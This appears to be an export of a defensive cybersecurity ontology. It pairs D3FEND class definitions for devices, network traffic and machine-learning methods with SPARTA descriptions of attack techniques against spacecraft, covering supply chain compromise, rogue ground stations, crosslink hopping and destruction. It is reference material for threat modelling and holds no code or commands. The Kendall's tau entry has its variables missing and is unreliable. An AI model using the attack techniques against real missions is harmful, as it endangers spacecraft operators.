subclass of: Restriction
  on property: preceded-by
  some values from: Hardware Device Bind Event
subclass of: HardwareDeviceStateEvent

Hardware Device Update Event
type: Class
definition: An event capturing updates or changes to a device's configuration, properties, or state, including firmware updates, reconfigurations, or optimizations.
subclass of: Restriction
  on property: preceded-by
  some values from: HardwareDeviceConnectionEvent
subclass of: HardwareDeviceStateEvent

Heap Segment
type: Class
definition: The heap segment (or free store) is a large pool of memory from which dynamic memory requests of a process are allocated and satisfied.
subclass of: ProcessSegment

Heterogeneous Asymmetric Feature-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-HAFBTL
definition: Asymmetric transformation mapping transforms the source feature space to align with that of the target or the target to that of the source. This, in effect, bridges the feature space gap and reduces the problem into a homogeneous transfer problem when further distribution differences need to be corrected.
kb-article: ## References Wang, Q., Mao, K. Z., Wang, B., & Guan, J. (2017). Big data clustering by hybrid optimization algorithm. Journal of Big Data, 4(1), 25. [Link](https://journalofbigdata.springeropen.com/articles/10.1186/s40537-017-0089-0).
subclass of: HeterogeneousTransferLearning

Heterogeneous Feature-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-HFBTL
definition: Symmetric transformation takes both the source feature space Xs and target feature space Xt and learns feature transformations as to project each onto a common subspace Xc for adaptation purposes. This derived subspace becomes a domain-invariant feature subspace to associate cross-domain data, and in effect, reduces marginal distribution differences.
kb-article: ## References Wang, Q., Mao, K. Z., Wang, B., & Guan, J. (2017). Big data clustering by hybrid optimization algorithm. Journal of Big Data, 4(1), 25. [Link](https://journalofbigdata.springeropen.com/articles/10.1186/s40537-017-0089-0).
subclass of: HeterogeneousTransferLearning

Higher-order Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-HOL
definition: Higher-order logic is a form of predicate logic that is distinguished from first-order logic by additional quantifiers and, sometimes, stronger semantics. Higher-order logics with their standard semantics are more expressive, but their model-theoretic properties are less well-behaved than those of first-order logic.
kb-article: ## References 1. Higher-order logic. (2023, May 13). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Higher-order_logic)
synonym: HOL
subclass of: PredicateLogic

Host Configuration Sensor
type: Class
type: NamedIndividual
definition: Collects the configuration data on an endpoint.
monitors: ApplicationConfiguration
monitors: OperatingSystemConfiguration
subclass of: Restriction
  on property: monitors
  some values from: OperatingSystemConfiguration
subclass of: Restriction
  on property: monitors
  some values from: ApplicationConfiguration
subclass of: EndpointSensor

Host Group
type: Class
type: NamedIndividual
contains: Host
definition: A collection of Hosts used to allow operations such as access control to be applied to the entire group.
subclass of: Restriction
  on property: contains
  some values from: Host
subclass of: AccessControlGroup

Hostname
type: DomainName
type: Class
type: NamedIndividual
definition: In computer networking, a hostname (archaically nodename) is a label that is assigned to a device connected to a computer network and that is used to identify the device in various forms of electronic communication, such as the World Wide Web. Hostnames may be simple names consisting of a single word or phrase, or they may be structured.
identifies: Host
subclass of: Restriction
  on property: identifies
  some values from: Host
subclass of: Identifier
alternative label: Nodename

Human Input Device Firmware
type: Class
definition: Firmware that is installed on an HCI device such as a mouse or keyboard.
subclass of: PeripheralFirmware

Hybrid-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-HBTL
definition: This method creates an asymmetric mapping from the target to the source and takes into account bias issues of cross-domain correspondences.
kb-article: ## References Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. Journal of Big Data, 4(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).
subclass of: HomogenousTransferLearning

Software Dependencies & Development Tools - SPARTA
type: Class
attack-id: IA-0001.01
definition: Threat actors may manipulate software dependencies (i.e. dependency confusion) and/or development tools prior to the customer receiving them in order to achieve data or system compromise. Software binaries and applications often depend on external software to function properly. spacecraft developers may use open source projects to help with their creation. These open source projects may be targeted by threat actors as a way to add malicious code to the victim spacecraft's dependencies.
subclass of: IA-0001
preferred label: Software Dependencies & Development Tools

Software Supply Chain - SPARTA
type: Class
attack-id: IA-0001.02
definition: Threat actors may manipulate software binaries and applications prior to the customer receiving them in order to achieve data or system compromise. This attack can take place in a number of ways, including manipulation of source code, manipulation of the update and/or distribution mechanism, or replacing compiled versions with a malicious one.
subclass of: IA-0001
preferred label: Software Supply Chain

Hardware Supply Chain - SPARTA
type: Class
attack-id: IA-0001.03
definition: Threat actors may manipulate hardware components in the victim spacecraft prior to the customer receiving them in order to achieve data or system compromise. The threat actor can insert backdoors and give them a high level of control over the system when they modify the hardware or firmware in the supply chain. This would include ASIC and FPGA devices as well. A spacecraft component can also be damaged if a specific HW component, built to fail after a specific period, or counterfeit with a low reliability, breaks out.
subclass of: IA-0001
preferred label: Hardware Supply Chain

Compromise Software Defined Radio - SPARTA
type: Class
attack-id: IA-0002
definition: Threat actors may target software defined radios due to their software nature to establish C2 channels. Since SDRs are programmable, when combined with supply chain or development environment attacks, SDRs provide a pathway to setup covert C2 channels for a threat actor.
subclass of: SPARTAInitialAccessTechnique
preferred label: Compromise Software Defined Radio

Crosslink via Compromised Neighbor - SPARTA
type: Class
attack-id: IA-0003
definition: Threat actors may compromise a victim spacecraft via the crosslink communications of a neighboring spacecraft that has been compromised. spacecraft in close proximity are able to send commands back and forth. Threat actors may be able to leverage this access to compromise other spacecraft once they have access to another that is nearby.
subclass of: SPARTAInitialAccessTechnique
preferred label: Crosslink via Compromised Neighbor

Ground Station - SPARTA
type: Class
attack-id: IA-0004.01
definition: Threat actors may establish a foothold within the backup ground/mission operations center (MOC) and then perform attacks to force primary communication traffic through the backup communication channel so that other TTPs can be executed (man-in-the-middle, malicious commanding, malicious code, etc.). While an attacker would not be required to force the communications through the backup channel vice waiting until the backup is used for various reasons. Threat actors can also utilize compromised ground stations to chain command execution and payload delivery across geo-separated ground stations to extend reach and maintain access on spacecraft. The backup ground/MOC should be considered a viable attack vector and the appropriate/equivalent security controls from the primary communication channel should be on the backup ground/MOC as well.
subclass of: IA-0004
preferred label: Ground Station

Receiver - SPARTA
type: Class
attack-id: IA-0004.02
definition: Threat actors may target the backup/secondary receiver on the spacecraft as a method to inject malicious communications into the mission. The secondary receivers may come from different supply chains than the primary which could have different level of security and weaknesses. Similar to the ground station, the communication through the secondary receiver could be forced or happening naturally.
subclass of: IA-0004
preferred label: Receiver

Compromise Emanations - SPARTA
type: Class
attack-id: IA-0005.01
definition: Threat actors in close proximity may intercept and analyze electromagnetic radiation emanating from crypto equipment and/or the target spacecraft(i.e., main bus) to determine whether the emanations are information bearing. The data could be used to establish initial access.
subclass of: IA-0005
preferred label: Compromise Emanations

Docked Vehicle / OSAM - SPARTA
type: Class
attack-id: IA-0005.02
definition: Threat actors may leverage docking vehicles to laterally move into a target spacecraft. If information is known on docking plans, a threat actor may target vehicles on the ground or in space to deploy malware to laterally move or execute malware on the target spacecraft via the docking interface.
subclass of: IA-0005
preferred label: Docked Vehicle / OSAM

Proximity Grappling - SPARTA
type: Class
attack-id: IA-0005.03
definition: Threat actors may posses the capability to grapple target spacecraft once it has established the appropriate space rendezvous. If from a proximity / rendezvous perspective a threat actor has the ability to connect via docking interface or expose testing (i.e., JTAG port) once it has grappled the target spacecraft, they could perform various attacks depending on the access enabled via the physical connection.
subclass of: IA-0005
preferred label: Proximity Grappling

Compromise Hosted Payload - SPARTA
type: Class
attack-id: IA-0006
definition: Threat actors may compromise the target spacecraft hosted payload to initially access and/or persist within the system. Hosted payloads can usually be accessed from the ground via a specific command set. The command pathways can leverage the same ground infrastructure or some host payloads have their own ground infrastructure which can provide an access vector as well. Threat actors may be able to leverage the ability to command hosted payloads to upload files or modify memory addresses in order to compromise the system. Depending on the implementation, hosted payloads may provide some sort of lateral movement potential.
subclass of: SPARTAInitialAccessTechnique
preferred label: Compromise Hosted Payload

Compromise On-Orbit Update - SPARTA
type: Class
attack-id: IA-0007.01
definition: Threat actors may manipulate and modify on-orbit updates before they are sent to the target spacecraft. This attack can be done in a number of ways, including manipulation of source code, manipulating environment variables, on-board table/memory values, or replacing compiled versions with a malicious one.
subclass of: IA-0007
preferred label: Compromise On-Orbit Update

Malicious Commanding via Valid GS - SPARTA
type: Class
attack-id: IA-0007.02
definition: Threat actors may compromise target owned ground systems components (e.g., front end processors, command and control software, etc.) that can be used for future campaigns or to perpetuate other techniques. These ground systems components have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration.
subclass of: IA-0007
preferred label: Malicious Commanding via Valid GS

Rogue Ground Station - SPARTA
type: Class
attack-id: IA-0008.01
definition: Threat actors may gain access to a victim spacecraft through the use of a rogue ground system. With this technique, the threat actor does not need access to a legitimate ground station or communication site.
subclass of: IA-0008
preferred label: Rogue Ground Station

Rogue Spacecraft - SPARTA
type: Class
attack-id: IA-0008.02
definition: Threat actors may gain access to a target spacecraft using their own spacecraft that has the capability to maneuver within close proximity to a target spacecraft to carry out a variety of TTPs (i.e., eavesdropping, side-channel, etc.). Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference.
subclass of: IA-0008
preferred label: Rogue Spacecraft

ASAT/Counterspace Weapon - SPARTA
type: Class
attack-id: IA-0008.03
definition: Threat actors may utilize counterspace platforms to access/impact spacecraft. These counterspace capabilities vary significantly in the types of effects they create, the level of technological sophistication required, and the level of resources needed to develop and deploy them. These diverse capabilities also differ in how they are employed and how easy they are to detect and attribute and the permanence of the effects they have on their target.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: IA-0008
preferred label: ASAT/Counterspace Weapon

Mission Collaborator (academia, international, etc.) - SPARTA
type: Class
attack-id: IA-0009.01
definition: Threat actors may seek to exploit mission partners to gain an initial foothold for pivoting into the mission environment and eventually impacting the spacecraft. The complex nature of many space systems rely on contributions across organizations, including academic partners and even international collaborators. These organizations will undoubtedly vary in their system security posture and attack surface.
subclass of: IA-0009
preferred label: Mission Collaborator (academia, international, etc.)

Vendor - SPARTA
type: Class
attack-id: IA-0009.02
definition: Threat actors may target the trust between vendors and the target spacecraft. Missions often grant elevated access to vendors in order to allow them to manage internal systems as well as cloud-based environments. The vendor's access may be intended to be limited to the infrastructure being maintained but it may provide laterally movement into the target spacecraft. Attackers may leverage security weaknesses in the vendor environment to gain access to more critical mission resources or network locations. In the spacecraft context vendors may have direct commanding and updating capabilities outside of the primary communication channel.
subclass of: IA-0009
preferred label: Vendor

User Segment - SPARTA
type: Class
attack-id: IA-0009.03
definition: Threat actors can target the user segment in an effort to laterally move into other areas of the end-to-end mission architecture. When user segments are interconnected, threat actors can exploit lack of segmentation as the user segment's security undoubtedly varies in their system security posture and attack surface than the primary space mission. The user equipment and users themselves provide ample attack surface as the human element and their vulnerabilities (i.e., social engineering, phishing, iOT) are often the weakest security link and entry point into many systems.
subclass of: IA-0009
preferred label: User Segment

Unauthorized Access During Safe-Mode - SPARTA
type: Class
attack-id: IA-0010
definition: Threat actors may target a spacecraft in safe mode to establish initial access, taking advantage of reduced authentication, relaxed command filtering, or backup control pathways. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. Since safe mode often prioritizes availability and fault recovery over security, it may process commands that would otherwise be rejected in nominal operations. This condition can provide an entry point into mission operations if improperly protected.
subclass of: SPARTAInitialAccessTechnique
preferred label: Unauthorized Access During Safe-Mode

Auxiliary Device Compromise - SPARTA
type: Class
attack-id: IA-0011
definition: Threat actors may exploit the auxiliary/peripheral devices that get plugged into spacecrafts. It is no longer atypical to see spacecrafts, especially CubeSats, with Universal Serial Bus (USB) ports or other ports where auxiliary/peripheral devices can be plugged in. Threat actors can execute malicious code on the spacecrafts by copying the malicious code to auxiliary/peripheral devices and taking advantage of logic on the spacecraft to execute code on these devices. This may occur through manual manipulation of the auxiliary/peripheral devices, modification of standard IT systems used to initially format/create the auxiliary/peripheral device, or modification to the auxiliary/peripheral devices' firmware itself.
subclass of: SPARTAInitialAccessTechnique
preferred label: Auxiliary Device Compromise

Assembly, Test, and Launch Operation Compromise - SPARTA
type: Class
attack-id: IA-0012
definition: Threat actors may target the spacecraft hardware and/or software while the spacecraft is at Assembly, Test, and Launch Operation (ATLO). ATLO is often the first time pieces of the spacecraft are fully integrated and exchanging data across interfaces. Malware could propagate from infected devices across the integrated spacecraft. For example, test equipment (i.e., transient cyber asset) is often brought in for testing elements of the spacecraft. Additionally, varying levels of physical security is in place which may be a reduction in physical security typically seen during development. The ATLO environment should be considered a viable attack vector and the appropriate/equivalent security controls from the primary development environment should be implemented during ATLO as well.
subclass of: SPARTAInitialAccessTechnique
preferred label: Assembly, Test, and Launch Operation Compromise

Compromise Host Spacecraft - SPARTA
type: Class
attack-id: IA-0013
definition: The inverse of IA-0006, this technique describes adversaries that are targeting a hosted payload, the host space vehicle (SV) can serve as an initial access vector to compromise the payload through vulnerabilities in the SV's onboard systems, communication interfaces, or software. If the SV's command and control systems are exploited, an attacker could gain unauthorized access to the vehicle's internal network. Once inside, the attacker may laterally move to the hosted payload, particularly if it shares data buses, processors, or communication links with the vehicle.
subclass of: SPARTAInitialAccessTechnique
preferred label: Compromise Host Spacecraft

ID3
type: Class
type: NamedIndividual
d3fend-id: D3A-ID3
definition: ID3 stands for Iterative Dichotomiser 3 and is named such because the algorithm iteratively (repeatedly) dichotomizes(divides) features into two or more groups at each step.
kb-article: ## Addtional Consiterations ID3 is the basis of C4.5, and is best used in natural language processing. ## References Decision Trees for Classification: ID3 Algorithm Explained. Towards Data Science. [Link](https://towardsdatascience.com/decision-trees-for-classification-id3-algorithm-explained-89df76e72df1).
subclass of: DecisionTree

Deception (or Misdirection) - SPARTA
type: Class
attack-id: IMP-0001
definition: Measures designed to mislead an adversary by manipulation, distortion, or falsification of evidence or information into a system to induce the adversary to react in a manner prejudicial to their interests. Threat actors may seek to deceive mission stakeholders (or even military decision makers) for a multitude of reasons. Telemetry values could be modified, attacks could be designed to intentionally mimic another threat actor's TTPs, and even allied ground infrastructure could be compromised and used as the source of communications to the spacecraft.
subclass of: SPARTAImpactTechnique
preferred label: Deception (or Misdirection)

Disruption - SPARTA
type: Class
attack-id: IMP-0002
definition: Measures designed to temporarily impair the use or access to a system for a period of time. Threat actors may seek to disrupt communications from the victim spacecraft to the ground controllers or other interested parties. By disrupting communications during critical times, there is the potential impact of data being lost or critical actions not being performed. This could cause the spacecraft's purpose to be put into jeopardy depending on what communications were lost during the disruption. This behavior is different than Denial as this attack can also attempt to modify the data and messages as they are passed as a way to disrupt communications.
subclass of: SPARTAImpactTechnique
preferred label: Disruption

Denial - SPARTA
type: Class
attack-id: IMP-0003
definition: Measures designed to temporarily eliminate the use, access, or operation of a system for a period of time, usually without physical damage to the affected system. Threat actors may seek to deny ground controllers and other interested parties access to the victim spacecraft. This would be done exhausting system resource, degrading subsystems, or blocking communications entirely. This behavior is different from Disruption as this seeks to deny communications entirely, rather than stop them for a length of time.
subclass of: SPARTAImpactTechnique
preferred label: Denial

Degradation - SPARTA
type: Class
attack-id: IMP-0004
definition: Measures designed to permanently impair (either partially or totally) the use of a system. Threat actors may target various subsystems or the hosted payload in such a way to rapidly increase it's degradation. This could potentially shorten the lifespan of the victim spacecraft.
subclass of: SPARTAImpactTechnique
preferred label: Degradation

Destruction - SPARTA
type: Class
attack-id: IMP-0005
definition: Measures designed to permanently eliminate the use of a system, potentially through some physical damage to the system. Threat actors may destroy data, commands, subsystems, or attempt to destroy the victim spacecraft itself. This behavior is different from Degradation, as the individual parts are destroyed rather than put in a position in which they would slowly degrade over time.
subclass of: SPARTAImpactTechnique
preferred label: Destruction

Theft - SPARTA
type: Class
attack-id: IMP-0006
definition: Threat actors may attempt to steal the data that is being gathered, processed, and sent from the victim spacecraft. Many spacecraft have a particular purpose associated with them and the data they gather is deemed mission critical. By attempting to steal this data, the mission, or purpose, of the spacecraft could be lost entirely.
subclass of: SPARTAImpactTechnique
preferred label: Theft

IP Phone
type: Class
definition: A VoIP phone or IP phone uses voice over IP technologies for placing and transmitting telephone calls over an IP network, such as the Internet, instead of the traditional public switched telephone network (PSTN). Digital IP-based telephone service uses control protocols such as the Session Initiation Protocol (SIP), Skinny Client Control Protocol (SCCP) or various other proprietary protocols.
subclass of: PersonalComputer
alternative label: VoIP Phone

Import Library Function
type: Class
type: NamedIndividual
definition: Loads an external software library to enable the invocations of its methods.
loads: SharedLibraryFile
subclass of: Restriction
  on property: loads
  some values from: SharedLibraryFile
subclass of: Subroutine

Inbound Internet Encrypted Web Traffic
type: Class
definition: Inbound internet web traffic is network traffic that is: (a) on an incoming connection initiated from a host outside the network to a host within a network, and (b) using a standard web encryption protocol.
subclass of: Inbound Internet Encrypted Traffic
subclass of: Inbound Internet Web Traffic

Input Device Event
type: Class
definition: An event involving human-machine interface devices, such as keyboards, mice, or touchscreens.
subclass of: Restriction
  on property: has-participant
  some values from: InputDevice
subclass of: HardwareDeviceEvent

Instance-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-IBTL
definition: Instance-based transfer learning methods try to reweight the samples in the source domain in an attempt to correct for marginal distribution differences. These reweighted instances are then directly used in the target domain for training.
kb-article: ## References Georgian Impact Blog. (n.d.). Transfer Learning Part 1. [Link](https://medium.com/georgian-impact-blog/transfer-learning-part-1-ed0c174ad6e7#:~:text=Homogeneous%20Transfer%20Learning-,1.,the%20target%20domain%20for%20training).
subclass of: HomogenousTransferLearning

Instant Messaging Client
type: Class
definition: Client software used to engage in Instant Messaging, a type of online chat that offers real-time text transmission over the Internet. A LAN messenger operates in a similar way over a local area network. Short messages are typically transmitted between two parties, when each user chooses to complete a thought and select "send". Some IM applications can use push technology to provide real-time text, which transmits messages character by character, as they are composed. More advanced instant messaging can add file transfer, clickable hyperlinks, Voice over IP, or video chat.
subclass of: CollaborativeSoftware

Integration Test Execution Tool
type: Class
definition: An integration test execution tool automatically performs integration testing. Integration testing (sometimes called integration and testing, abbreviated I&T) is the phase in software testing in which individual software modules are combined and tested as a group.
subclass of: TestExecutionTool

Internationalized Domain Name
type: DomainName
type: NamedIndividual

Internet-based Attacker
type: Class
definition: A remote attacker who leverages the internet to conduct attacks, such as through phishing, malware, or direct network attacks.
subclass of: Restriction
  on property: accesses
  some values from: Wide Area Network
subclass of: RemoteAttacker

Internet DNS Lookup
type: Class
definition: An internet Domain Name System (DNS) lookup is a DNS lookup made from a host on a network that is resolved after querying a DNS name server hosted on a different network.
subclass of: DNSLookup

Internet File Transfer Traffic
type: Class
definition: Internet file transfer network traffic is network traffic related to file transfers between network nodes that crosses a boundary between networks. This includes only network traffic conforming to standard file transfer protocols, not custom transfer protocols.
subclass of: FileTransferNetworkTraffic
subclass of: InternetNetworkTraffic

Internet Network
type: Class
definition: A network of multiple, connected networks. Internetworking is the practice of connecting a computer network with other networks through the use of gateways that provide a common method of routing information packets between the networks. The resulting system of interconnected networks are called an internetwork, or simply an internet. Internetworking is a combination of the words inter ("between") and networking; not internet-working or international-network.
subclass of: Network
alternative label: Interconnected Network
alternative label: Internet
alternative label: Internetwork

Internet Persona
type: Class
definition: A social identity that an Internet user establishes in online communities and websites. It may also be an actively constructed presentation of oneself.
subclass of: DigitalInformationBearer
alternative label: Online Identity
alternative label: Online Persona
alternative label: Online Personality

Interval Estimation
type: Class
type: NamedIndividual
d3fend-id: D3A-IE
definition: Interval estimation is the use of sample data to estimate an interval of possible values of a parameter of interest.
kb-article: ## References Wikipedia. (n.d.). Interval estimation. [Link](https://en.wikipedia.org/wiki/Interval_estimation)
subclass of: Estimation

Intranet DNS Lookup
type: Class
definition: An Intranet Domain Name System (DNS) lookup is a DNS lookup made from a host on a network that is resolved after querying a DNS name server hosted on a that same network.
subclass of: DNSLookup

Intranet RPC Network Traffic
type: Class
definition: Intranet RPC network traffic is network traffic that does not cross a given network's boundaries and uses a standard remote procedure call (e.g., RFC 1050) protocol.
subclass of: IntranetNetworkTraffic
subclass of: RPCNetworkTraffic

Intrusion Prevention System
type: Class
definition: Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, report it and attempt to block or stop it. Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike intrusion detection systems, intrusion prevention systems are placed in-line and are able to actively prevent or block intrusions that are detected. IPS can take such actions as sending an alarm, dropping detected malicious packets, resetting a connection or blocking traffic from the offending IP address. An IPS also can correct cyclic redundancy check (CRC) errors, defragment packet streams, mitigate TCP sequencing issues, and clean up unwanted transport and network layer options.
subclass of: Intrusion Detection System
alternative label: IDPS
alternative label: IPS
alternative label: Intrusion Detection and Prevention System

Isolation Event
type: Class
type: NamedIndividual
definition: An event involving actions to create logical or physical barriers that isolate compromised components, preventing adversary movement and reducing attack surfaces.
related: Isolate
subclass of: SecurityEvent

Java Archive
type: Class
definition: A JAR (Java ARchive) is a package file format typically used to aggregate many Java class files and associated metadata and resources (text, images, etc.) into one file for distribution.
subclass of: ArchiveFile
subclass of: SoftwarePackage

K-Center Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-KCC
definition: K-center Clustering is a type of clustering based on an combinatorial optimization methods. It clusters a set of points so as to minimize the maximum intercluster distance.
kb-article: ## How it works An example K-center Clustering problem is to mimimize the number of points in a set that are necessary so that a every other point in the set is within some fixed distance of those points. For instance, given n cities with specified distances, one wants to build k warehouses in different cities and minimize the maximum distance of a city to a warehouse. ## Considerations - **Scalability**: Exact solutions are NP-hard. However, algorithms that have been proven effective and create no more than 2x the optimal set of clusters can run in O(kn) proportional to k*n where k is the minimum number of clusters and n is the number of data points being clustered. ## Key Test Considerations - **Unsupervised Learning**: - **Number of Clusters**: The Gonzalez (Gon) algorithm guarantees creating no more than twice the optimal number of clusters, where the optimal number is the minimum number of clusters to minimize total distance between representative points in the clusters [1]. - **Cluster Analysis**: - **Rand Index and Adjusted Rand Index**: Given ground truth set of class labels for the data, the Rand Index is a measure of the similarity between two data clusterings. The Rand Index is the accuracy of determining if a link belongs within a cluster or not. A form of the Rand Index may be defined that is adjusted for the chance grouping of elements, this is the Adjusted Rand Index [5]. - **Adjusted Mutual Information**: Given ground truth set of class labels for the data, Adjusted Mutual Information corrects the effect of agreement solely due to chance between clusterings, similar to the way the Adjusted Rand Index corrects the Rand Index [6]. - **Connection-based Clustering**: - **Choice of Distance Metric**: The outcome can vary significantly depending on the chosen distance metric (e.g., Euclidean, Manhattan). - **Sensitivity**: Connection-based method can be sensitive to outliers, which might affect the quality of the clusters formed. - **K-center Clustering**:…
subclass of: Graph-basedClustering

K-Fold Cross-Validation
type: Class
type: NamedIndividual
d3fend-id: D3A-KFCV
definition: Cross-validation is a resampling procedure used to evaluate machine learning models on a limited data sample. The procedure has a single parameter called k that refers to the number of groups that a given data sample is to be split into. As such, the procedure is often called k-fold cross-validation. When a specific value for k is chosen, it may be used in place of k in the reference to the model, such as k=10 becoming 10-fold cross-validation
kb-article: ## References K-Fold Cross-Validation. Machine Learning Mastery. [Link](https://machinelearningmastery.com/k-fold-cross-validation/#:~:text=Cross%2Dvalidation%20is%20a%20resampling,k%2Dfold%20cross%2Dvalidation).
subclass of: ResamplingEnsemble

K-Nearest Neighbors
type: Class
type: NamedIndividual
d3fend-id: D3A-KNN
definition: The k-nearest neighbors algorithm, also known as KNN or k-NN, is a non-parametric, supervised learning classifier, which uses proximity to make classifications or predictions about the grouping of an individual data point.
kb-article: ## **How it works** The goal of the k-nearest neighbor algorithm is to identify the nearest neighbors of a given query point, so that we can assign a class label to that point. To determine which data points are closest to a given query point, the distance between the query point and the other data points will need to be calculated. The distance measures used can vary depending on the data set or implementation and help inform decision boundaries, which query points into different regions. Then, by defining the k-value (the number of neighbors to be checked to determine the classification of a specific query point), the data can be assigned its class label. For classification problems, a class label is assigned on the basis of a majority vote—i.e. the label that is most frequently represented around a given data point is used (the term “majority vote” is commonly used in literature, however, the technique is more technically considered “plurality voting”). Regression problems use a similar concept as classification problem, but in this case, the average the k nearest neighbors is taken to make a prediction about a classification. The main distinction here is that classification is used for discrete values, whereas regression is used with continuous ones. Unlike other algorithms that explicitly model the problem, such as linear regression, KNN is instance-based. It means that the algorithm doesn't explicitly learn a model. Instead, it memorizes the training instances and uses them as "knowledge" for the prediction phase. It's also worth noting that the KNN algorithm is also part of a family of “lazy learning” models, meaning that it only stores a training dataset versus undergoing a training stage. ## **Considerations** * **Scaling:** Scaling is a problem as KNN is a lazy algorithm and takes up more memory and storage compared to other classification methods. * **Implementation and Hyperparameters:** As KNN only requires a k-value and a distance metric, it is often a…
subclass of: Classification

K-means Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-KMC
definition: K-means algorithm identifies k number of centroids, and then allocates every data point to the nearest cluster, while keeping the centroids as small as possible.
kb-article: ## References Towards Data Science. (n.d.). Understanding K-means Clustering in Machine Learning. [Link](https://towardsdatascience.com/understanding-k-means-clustering-in-machine-learning-6a6e67336aa1)
subclass of: Centroid-based Clustering

Kendall's Rank Correlation Coefficient
type: Class
type: NamedIndividual
d3fend-id: D3A-KRCC
definition: Kendall's $\\tau$ between and is given by $(n_c - n_d) / \\sqrt((n_c+n_d+n_x)(n_c+n_d+n_y)$, where is the number of concordant pairs of observations, is the number of discordant pairs, is the number of ties involving only the variable, and is the number of ties involving only the variable." ;
kb-article: ## References 1. Wolfram Research. (2012). KendallTau. Wolfram Language function. [Link](https://reference.wolfram.com/language/ref/KendallTau.html) 1. Kendall's Tau. (2023, May 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Kendall_rank_correlation_coefficient]""",
synonym: Kendall's Tau Coefficient
subclass of: RankCorrelationCoefficient

Kerberos Ticket Granting Service Ticket
type: Class
definition: A Kerberos ticket-granting service (TGS) ticket is given in response to requesting a Kerberos TGS request.
subclass of: KerberosTicket
alternative label: TGS Ticket

Kerberos Ticket Granting Ticket Account
type: Class
type: NamedIndividual
creates: KerberosTicketGrantingTicket
definition: KRBTGT is an account used by Key Distribution Center (KDC) service to issue Ticket Granting Tickets (TGTs) as part of the Kerberos authentication protocol.
synonym: krbtgt
subclass of: Restriction
  on property: creates
  some values from: KerberosTicketGrantingTicket
subclass of: Service Account

Kernel API Sensor
type: Class
type: NamedIndividual
definition: Monitors system calls (operating system api functions).
monitors: SystemCall
subclass of: Restriction
  on property: monitors
  some values from: SystemCall
subclass of: EndpointSensor

Kernel Module Unload Event
type: Class
definition: An event representing the removal of a kernel module from the operating system kernel, deallocating resources and potentially altering system functionality.
subclass of: Restriction
  on property: preceded-by
  some values from: Kernel Module Load Event
subclass of: Restriction
  on property: precedes
  some values from: Memory Deletion Event
subclass of: KernelModuleEvent

Kiosk Computer
type: Class
definition: An interactive kiosk is a computer terminal featuring specialized hardware and software that provides access to information and applications for communication, commerce, entertainment, or education. Early interactive kiosks sometimes resembled telephone booths, but have been embraced by retail, food service and hospitality to improve customer service and streamline operations. Interactive kiosks are typically placed in high foot traffic settings such as shops, hotel lobbies or airports.
subclass of: SharedComputer
alternative label: Interactive Kiosk

LDIF Record
type: UserAccount
type: NamedIndividual

Hosted Payload - SPARTA
type: Class
attack-id: LM-0001
definition: Threat actors may use the hosted payload within the victim spacecraft in order to gain access to other subsystems. The hosted payload often has a need to gather and send data to the internal subsystems, depending on its purpose. Threat actors may be able to take advantage of this communication in order to laterally move to the other subsystems and have commands be processed.
subclass of: SPARTALateralMovementTechnique
preferred label: Hosted Payload

Exploit Lack of Bus Segregation - SPARTA
type: Class
attack-id: LM-0002
definition: Threat actors may exploit victim spacecraft on-board flat architecture for lateral movement purposes. Depending on implementation decisions, spacecraft can have a completely flat architecture where remote terminals, sub-systems, payloads, etc. can all communicate on the same main bus without any segmentation, authentication, etc. Threat actors can leverage this poor design to send specially crafted data from one compromised devices or sub-system. This could enable the threat actor to laterally move to another area of the spacecraft or escalate privileges (i.e., bus master, bus controller)
subclass of: SPARTALateralMovementTechnique
preferred label: Exploit Lack of Bus Segregation

Constellation Hopping via Crosslink - SPARTA
type: Class
attack-id: LM-0003
definition: Threat actors may attempt to command another neighboring spacecraft via crosslink. spacecraft in close proximity are often able to send commands back and forth. Threat actors may be able to leverage this access to compromise another spacecraft.
subclass of: SPARTALateralMovementTechnique
preferred label: Constellation Hopping via Crosslink

Visiting Vehicle Interface(s) - SPARTA
type: Class
attack-id: LM-0004
definition: Threat actors may move from one spacecraft to another through visiting vehicle interfaces. When a vehicle docks with a spacecraft, many programs are automatically triggered in order to ensure docking mechanisms are locked. This entails several data points and commands being sent to and from the spacecraft and the visiting vehicle. If a threat actor were to compromise a visiting vehicle, they could target these specific programs in order to send malicious commands to the victim spacecraft once docked.
subclass of: SPARTALateralMovementTechnique
preferred label: Visiting Vehicle Interface(s)

Virtualization Escape - SPARTA
type: Class
attack-id: LM-0005
definition: In virtualized environments, threat actors can use the open ports between the partitions to overcome the hypervisor's protection and damage another partition. Further, if the threat actor has compromised the payload, access to a critical partition can be gained through ports allowed by hypervisor.
subclass of: SPARTALateralMovementTechnique
preferred label: Virtualization Escape

Rideshare Payload - SPARTA
type: Class
attack-id: LM-0006.01
definition: Threat actors may attempt to move laterally between multiple co-located payloads onboard the same launch vehicle during shared launch missions (i.e., rideshare configurations). This differs from lateral movement between spacecraft subsystems or onboard hosted payloads. In this case, each payload may belong to a different customer or organization, but they share the same physical transport infrastructure. If insufficient isolation or segmentation exists between payloads during launch integration (e.g., shared avionics bus, data interface, or environmental control), threat actors may exploit the launch vehicle interface to enable cross-payload access or data compromise before separation.
subclass of: Launch Vehicle Interface - SPARTA
preferred label: Rideshare Payload

Credentialed Traversal - SPARTA
type: Class
attack-id: LM-0007
